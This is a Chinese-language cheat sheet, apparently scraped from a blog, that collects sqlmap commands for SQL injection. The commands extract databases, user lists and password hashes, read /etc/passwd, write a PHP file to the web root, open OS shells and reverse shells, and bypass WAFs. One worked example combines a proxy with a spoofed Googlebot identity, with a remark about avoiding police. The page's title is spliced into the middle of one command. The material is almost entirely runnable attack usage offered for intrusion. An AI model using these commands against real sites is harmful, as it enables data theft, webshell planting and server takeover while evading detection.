天天看點

sqlmap的基本指令使用 網絡詳細整合版! SqlMap使用者手冊

比較好的兩篇文章

SQLMAP注入教程-11種常見SQLMAP使用方法詳解

SqlMap使用者手冊

1. sqlmap Get注入

./sqlmap.py -u “注入位址” -v 1 --dbs   // 列舉資料庫

./sqlmap.py -u “注入位址” -v 1 --current-db   // 目前資料庫

./sqlmap.py -u “注入位址” -v 1 --users    // 列資料庫使用者

./sqlmap.py -u “注入位址” -v 1 --current-user  // 目前使用者

./sqlmap.py -u “注入位址” -v 1 --tables -D “資料庫”   // 列舉資料庫的表名

./sqlmap.py -u “注入位址” -v 1 --columns -T “表名” -D “資料庫”   // 擷取表的列名

./sqlmap.py -u “注入位址” -v 1 --dump -C “字段,字段” -T “表名” -D “資料庫”   // 擷取表中的資料,包含列

已經開始拖庫了,SQLMAP是非常人性化的,它會将擷取的資料存儲sqlmap/output/

2. sqlmap post注入

我們在使用Sqlmap進行post型注入時,

經常會出現請求遺漏導緻注入失敗的情況。

這裡分享一個小技巧,即結合burpsuite來使用sqlmap,

用這種方法進行post注入測試會更準确,操作起來也非常容易。

1. 浏覽器打開目标位址http:// www.2cto.com /Login.asp

2. 配置burp代理(127.0.0.1:8080)以攔截請求

3. 點選login表單的submit按鈕

4. 如下圖,這時候Burp會攔截到了我們的登入POST請求

5. 把這個post請求複制為txt, 我這命名為search-test.txt 然後把它放至sqlmap目錄下

3,sqlmap  cookies注入

sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1"  --dbs --level 2

2.預設情況下SQLMAP隻支援GET/POST參數的注入測試,但是當使用--level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候将檢查User-agent和Referer,那麼這就很簡單了,我們直接在原有的基礎上面加上 --level 2 即可

利用sqlmap cookies注入突破使用者登入繼續注入

先把使用者登陸的cookie拿到吧,

在收藏夾添加一個連結cookies屬性:

名字自己取

javascript:alert(document.cookie),,需要擷取目前cookie的時候,

直接點一下這個連結,然後複制一下彈出對話框

裡的cookie值就搞定了

sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid --dbms mssql --cookie="info=username=test"

-p是指指定參數注入

4. sqlmap遇到url重寫的注入

哪裡存在注入就加上 * 号

5.sqlmap 編碼繞waf注入

./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper "space2morehash.py"

在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼腳本自行加載

6.sqlmap讀檔案

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-read “/etc/passwd"

7.sqlmap寫檔案

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-write /localhost/mm.php --file-dest/var/www/html/xx.php -v 2

******************資訊擷取******************

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --users  #列資料庫使用者

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs#列資料庫

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords #資料庫使用者密碼

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords-U root  -v 0 #列出指定使用者資料庫密碼

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dump-all -v 0 #列出所有資料庫所有表 

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges #檢視權限

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges -U root #檢視指定使用者權限

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --is-dba -v 1 #是否是資料庫管理者

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --roles #枚舉資料庫使用者角色

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--udf-inject #導入使用者自定義函數(擷取系統權限!)

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--dump-all --exclude-sysdbs -v 0 #列出目前庫所有表

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-check #是否支援union 注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-cols #union 查詢表記錄

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-test #union 語句測試

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-use --banner #采用union 注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-test --union-tech orderby #union 配合 order by

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--method &quot

sqlmap的基本指令使用 網絡詳細整合版! SqlMap使用者手冊

OST" -- data "id=1&cat=2" #post注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--cookie "COOKIE_VALUE" #cookie注入

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"-b #擷取banner資訊

sqlmap -u "http://url/news?id=1" --level=3 --smart-v 1 -f #指紋判别資料庫類型

sqlmap -u "http://url/news?id=1" --level=3 --smart--proxy"http://127.0.0.1:8118" #代理注入

sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE"  #指定關鍵詞

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--sql-shell #執行指定sql指令

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-cmd=whoami #執行系統指令

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-shell #系統互動shell

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-pwn #反彈shell

sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--reg-read #讀取win系統系統資料庫

執行個體

sqlmap.py --proxy http://127.0.0.1:8087 -u 你懂得 -v 3 –dbms “MySQL” --tamper “space2morehash.py” --referer“http://www.google.com”  --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"

參數解釋 :

--proxy //這個是代理的IP,你不用代理不用VPN就不怕被查水表麼。。。

-u  //這個不懂的面壁去

-v 3 //這個是注入的詳細級别1-5

--dbms "MySQL"  //指定資料庫

--tamper “space2morehash.py”  //載入繞過WAF防火牆的腳本

--referer“http://www.google.com”  //模拟來源,就是從哪個網頁跳轉過來的。如果不懂可以谷歌referer

--user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)"   模拟谷歌蜘蛛,一般都不會限制蜘蛛爬網站。

總結

簡單的注入流程

1. 讀取資料庫版本,目前使用者,目前資料庫 sqlmap -u  http://www.evil0x.com/test.php?p=2 -f -b –current-user –current-db -v 1 2. 判斷目前資料庫使用者權限 sqlmap -u  http://www.evil0x.com/test.php?p=2  –privileges -U  使用者名 -v 1 sqlmap -u  http://www.evil0x.com/test.php?p=2  –is-dba -U  使用者名 -v 1 3. 讀取所有資料庫使用者或指定資料庫使用者的密碼 sqlmap -u  http://www.evil0x.com/test.php?p=2 –users –passwords -v 2 sqlmap -u  http://www.evil0x.com/test.php?p=2 –passwords -U root -v 2 4. 擷取所有資料庫 sqlmap -u  http://www.evil0x.com/test.php?p=2 –dbs -v 2 5. 擷取指定資料庫中的所有表 sqlmap -u  http://www.evil0x.com/test.php?p=2 –tables -D mysql -v 2 6. 擷取指定資料庫名中指定表的字段 sqlmap -u  http://www.evil0x.com/test.php?p=2 –columns -D mysql -T users -v 2 7. 擷取指定資料庫名中指定表中指定字段的資料 sqlmap -u  http://www.evil0x.com/test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log”-v 2 8.file-read 讀取web 檔案 sqlmap -u  http://www.evil0x.com/test.php?p=2 –file-read “/etc/passwd” -v 2 9.file-write 寫入檔案到web sqlmap -u  http://www.evil0x.com/ test.php?p=2–file-write /localhost/mm.php –file-dest

./sqlmap.py -u" http://www.nxadmin.com/sql-injection.php?id=1" –file-write/test/test.txt –file-dest /var/www/html/1.txt 将本地的test.txt 寫入到站點伺服器的html 目錄下。

繼續閱讀